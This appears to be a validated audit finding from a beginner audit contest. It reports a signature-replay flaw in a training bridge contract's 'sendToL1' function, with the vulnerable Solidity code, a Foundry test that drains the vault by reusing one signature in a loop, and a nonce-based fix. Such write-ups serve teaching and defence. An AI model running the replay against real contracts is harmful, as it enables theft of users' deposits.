Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Signatures can be replayed

In L1BossBridge::sendToL1 the v,r, and s values of the operators' signatures are passed and the signature is resconstructed. There is no check as to whether the signature has already been used meaning that an attacker can replay the signature and withdraw the entire contract balance.

Vulnerability details

In L1BossBridge::sendToL1 on lines 112-125, the v,r, and s values of the operator's signature are passed to the function and the signer is recovered:

function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
(address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}

There is no check, such as the use of a nonce, for whether the signature has already been used. This means that an attacker can re-use the same signature and replay the transaction until the entire vault balance has been withdrawn to their attacking address.

Impact

Since the entire funds can be drained from the vault, users' deposits are at risk and this is a likely exploit, this is a high-severity finding.

Proof of concept

Working test case

The following test shows that if the vault has an initial balance, assuming that the attacker has successfully deposited on the L2 with an amount equal to amount2 so that the operator will sign the message, an attacker can reuse a signature until the entire vault balance has been drained.

function test_poc_signatureReplay() public {
address attacker = makeAddr("attacker");
address attackerL2 = makeAddr("attackerL2");
vm.prank(deployer);
token.transfer(address(attacker), 1e18);
vm.startPrank(user);
uint256 amount = 10e18;
token.approve(address(tokenBridge), amount);
vm.expectEmit(address(tokenBridge));
emit Deposit(user, userInL2, amount);
tokenBridge.depositTokensToL2(user, userInL2, amount);
vm.stopPrank();
vm.startPrank(attacker);
uint256 amount2 = 1e18;
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(attackerL2, amount2), operator.key);
// attacker reuses signature until contract balance is drained
while (token.balanceOf(address(vault)) > 0) {
tokenBridge.withdrawTokensToL1(attackerL2, amount2, v, r, s);
}
vm.stopPrank();
assertTrue(token.balanceOf(address(vault)) == 0);
}

The test passes, demonstrating that the balance of the vault is 0 and has been drained of all funds.

$ forge test --mt test_poc_signatureReplay
// output
Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] test_poc_signatureReplay() (gas: 291307)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.02ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended mitigation

Add a nonce to the L1BossBridge::withdrawTokensToL1 and L1BossBridge::sendToL1 functions to ensure that a signature can only be used once.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.